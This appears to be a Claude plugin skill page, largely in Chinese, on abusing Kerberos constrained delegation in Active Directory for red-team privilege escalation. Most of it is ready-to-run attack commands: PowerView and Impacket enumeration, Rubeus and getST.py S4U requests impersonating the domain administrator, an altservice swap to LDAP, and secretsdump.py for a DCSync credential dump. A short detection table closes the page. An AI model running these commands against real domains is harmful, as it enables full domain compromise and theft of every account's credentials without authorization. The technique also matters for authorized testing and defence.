Exploits Kerberos constrained delegation misconfigurations in Active Directory using S4U2self and S4U2proxy for privilege escalation and lateral movement in red-teaming. Guides enumeration with PowerView, Rubeus, Impacket.
npx claudepluginhub killvxk/cybersecurity-skills-zhThis skill uses the workspace's default tool permissions.
Kerberos 约束委派(KCD)是一种 Windows 活动目录功能,允许服务模拟用户并代表其访问特定服务。委派目标在 `msDS-AllowedToDelegateTo` 属性中定义。当攻击者控制了配置了约束委派(特别是带有 `TRUSTED_TO_AUTH_FOR_DELEGATION` 标志)的账户时,他们可以使用 S4U2self 和 S4U2proxy Kerberos 协议扩展来以任何用户(包括域管理员)身份请求到委派服务的服务票据。如果委派目标包括域控制器上的 CIFS、HTTP 或 LDAP 等服务,则会导致完整的域入侵。S4U2self 扩展代表任何用户向被控服务请求可转发的票据,S4U2proxy 将该票据转发到允许的委派目标。
Exploits Kerberos Constrained Delegation misconfigurations in Active Directory using S4U2self and S4U2proxy to impersonate privileged users for lateral movement and privilege escalation in red-teaming and pentesting.
Exploits Kerberos Constrained Delegation misconfigurations in Active Directory via S4U2self/S4U2proxy to impersonate privileged users for lateral movement and privilege escalation in authorized pentests.
Performs Active Directory penetration testing: enumerates domain objects, analyzes attack paths with BloodHound, exploits Kerberos weaknesses, escalates privileges via ADCS/DCSync, and demonstrates domain compromise.
Share bugs, ideas, or general feedback.
Kerberos 约束委派(KCD)是一种 Windows 活动目录功能,允许服务模拟用户并代表其访问特定服务。委派目标在 msDS-AllowedToDelegateTo 属性中定义。当攻击者控制了配置了约束委派(特别是带有 TRUSTED_TO_AUTH_FOR_DELEGATION 标志)的账户时,他们可以使用 S4U2self 和 S4U2proxy Kerberos 协议扩展来以任何用户(包括域管理员)身份请求到委派服务的服务票据。如果委派目标包括域控制器上的 CIFS、HTTP 或 LDAP 等服务,则会导致完整的域入侵。S4U2self 扩展代表任何用户向被控服务请求可转发的票据,S4U2proxy 将该票据转发到允许的委派目标。
# 查找具有约束委派的用户
Get-DomainUser -TrustedToAuth | Select-Object samaccountname, msds-allowedtodelegateto
# 查找具有约束委派的计算机
Get-DomainComputer -TrustedToAuth | Select-Object samaccountname, msds-allowedtodelegateto
# 使用 AD 模块
Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo, userAccountControl
findDelegation.py domain.local/user:'Password123' -dc-ip 10.10.10.1
MATCH (c) WHERE c.allowedtodelegate IS NOT NULL
RETURN c.name, c.allowedtodelegate
# UserAccountControl 标志 0x1000000 = TRUSTED_TO_AUTH_FOR_DELEGATION
Get-DomainUser -TrustedToAuth | Select-Object samaccountname, useraccountcontrol
# 为约束委派账户请求 TGT
Rubeus.exe asktgt /user:svc_sql /domain:domain.local /rc4:<ntlm_hash>
# 执行 S4U2self + S4U2proxy 以模拟 administrator
Rubeus.exe s4u /ticket:<base64_tgt> /impersonateuser:administrator \
/msdsspn:CIFS/DC01.domain.local /ptt
# 替代方案:指定替代服务名称
Rubeus.exe s4u /ticket:<base64_tgt> /impersonateuser:administrator \
/msdsspn:CIFS/DC01.domain.local /altservice:LDAP /ptt
Rubeus.exe s4u /user:svc_sql /rc4:<ntlm_hash> /impersonateuser:administrator \
/msdsspn:CIFS/DC01.domain.local /domain:domain.local /ptt
# 使用 getST.py 和 S4U
getST.py -spn CIFS/DC01.domain.local -impersonate administrator \
-dc-ip 10.10.10.1 domain.local/svc_sql:'ServicePass123'
# 使用哈希代替密码
getST.py -spn CIFS/DC01.domain.local -impersonate administrator \
-hashes :a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4 \
-dc-ip 10.10.10.1 domain.local/svc_sql
# 使用获得的票据
export KRB5CCNAME=administrator.ccache
smbclient.py -k -no-pass domain.local/administrator@DC01.domain.local
# 请求 CIFS 票据,然后用于 LDAP(DCSync)
getST.py -spn CIFS/DC01.domain.local -impersonate administrator \
-altservice LDAP/DC01.domain.local \
-dc-ip 10.10.10.1 domain.local/svc_sql:'ServicePass123'
export KRB5CCNAME=administrator.ccache
secretsdump.py -k -no-pass domain.local/administrator@DC01.domain.local
# S4U2self 无需用户认证即可获取可转发的票据
# 这意味着我们可以在不知道用户密码的情况下模拟任何用户
getST.py -spn CIFS/DC01.domain.local -impersonate administrator \
-dc-ip 10.10.10.1 domain.local/svc_sql:'ServicePass123'
| 工具 | 用途 | 平台 |
|---|---|---|
| Rubeus | S4U Kerberos 票据操控 | Windows(.NET) |
| getST.py | S4U 服务票据请求(Impacket) | Linux(Python) |
| findDelegation.py | 委派枚举(Impacket) | Linux(Python) |
| PowerView | AD 委派枚举 | Windows(PowerShell) |
| BloodHound CE | 可视化委派路径分析 | Docker |
| Kekeo | 高级 Kerberos 工具包 | Windows |
| 类型 | 属性 | 范围 | 攻击复杂性 |
|---|---|---|---|
| 非约束委派 | TRUSTED_FOR_DELEGATION | 任意服务 | 低(捕获 TGT) |
| 约束委派 | msDS-AllowedToDelegateTo | 特定 SPN | 中(S4U 滥用) |
| 约束委派 + 协议转换 | + TRUSTED_TO_AUTH_FOR_DELEGATION | 特定 SPN | 中(不需要用户认证) |
| 基于资源的约束委派(RBCD) | msDS-AllowedToActOnBehalfOfOtherIdentity | 在目标上 | 中(可写属性) |
| 指标 | 检测方法 |
|---|---|
| S4U2self 票据请求 | 带异常服务和模拟的事件 4769 |
| S4U2proxy 转发的票据 | 带委派标志的事件 4769 |
| 票据中的替代服务名称 | 请求的 SPN 与实际服务访问之间的不匹配 |
| Rubeus.exe 执行 | EDR 进程检测、命令行日志 |
| 委派配置更改 | msDS-AllowedToDelegateTo 修改的事件 5136 |